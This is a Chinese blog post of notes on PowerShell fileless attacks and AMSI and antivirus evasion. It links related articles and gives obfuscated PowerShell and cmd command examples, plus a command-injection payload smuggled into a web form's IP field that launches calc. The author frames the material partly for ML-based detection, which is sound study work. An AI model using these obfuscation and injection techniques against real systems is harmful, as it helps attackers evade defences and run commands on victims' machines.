powershell无文件攻击场景汇总

一些重要的链接:

powershell无文件挖矿  https://bbs.pediy.com/thread-253375.htm 

无文件勒索 https://www.cnblogs.com/bonelee/p/15910502.html

powershell AMSI https://www.cnblogs.com/bonelee/p/16221887.html

各种绕过AMSI,分割,编码、xor、hex编码等 https://www.cnblogs.com/bonelee/p/16221958.html ==》另外,还提到了powershell数据采集

AMSI底层机制的探讨,如何绕过 https://www.cnblogs.com/bonelee/p/16220508.html

AMSI的介绍,有点老,可能不那么客观 https://www.cnblogs.com/bonelee/p/15924898.html

powershell 通过base64、utf8和分割绕过杀软 https://www.cnblogs.com/bonelee/p/15947640.html

无文件勒索 base64、xor编码绕过 https://www.cnblogs.com/bonelee/p/15910558.html

下面这些绕过场景,可以使用ML检测 https://www.cnblogs.com/bonelee/p/13768475.html

 

具体的示例(不全,要结合上面文章综合看):

将执行命令的字符串进行编码来绕过检测

(("{7}{4}{0}{13}{1}{10}{12}{3}{2}{6}{5}{11}{8}{9}"-f 'V','C',' 6yB','    (','VCFipVCF+VCFconf','eC[4,26','ENv:comsP',' (','InVCF','VCF)','F)',',25]-    jo',' hDY&','CF+VCFigV')).replAce(([ChAR]54+[ChAR]121+[ChAR]66),[StRing]    [ChAR]36).replAce('VCF',[StRing][ChAR]39).replAce('hDY','|') |.(    $verBOSEpREFEREnCE.tOSTRiNg()[1,3]+'x'-jOin'')

  

 

将命令拆分和字符替换达到混淆效果:

C:\Users>set lkf3=e&&set z6km=se&&set 0d=r&&set tXvd=n&&set 7B=t u&&call set    AF=%tXvd%%lkf3%%7B%%z6km%%0d%&&call %AF%

\\DESKTOP-NFBQJAR 的用户帐户

-------------------------------------------------------------------------------
Administrator            DefaultAccount           Guest
WDAGUtilityAccount
命令成功完成。


C:\Users>echo %AF%
net user

  

BAT语法、Powershell 与certutil结合、PowerShell混淆以及Cmd混淆等命令执行

ipaddress=127.0.0.1+%26+powershell+%22%28%27ip%27%2B%27conf%27%2B%27ig%27%29+%7C%26+%28%24ENv%3AcomsPeC%5B4%2C26%2C25%5D-joIn%27%27%29%22&submit=ping
还原后:
ipaddress=127.0.0.1+&+@^p^o^w^e^r^shell+C:\W*?w?\S*?32\?a?c.e?e&submit=ping

 

@^p^o^w^e^r^shell C:\W*?w?\S*?32\?a?c.e?e

  

利用powershell$Env进行命令注入利用

powershell混淆:

执行ipconfig

powershell "('ip'+'conf'+'ig') |& ($ENv:comsPeC[4,26,25]-joIn'')"

 

 

posted @ 2022-06-21 19:53  bonelee  阅读(143)  评论(0编辑  收藏  举报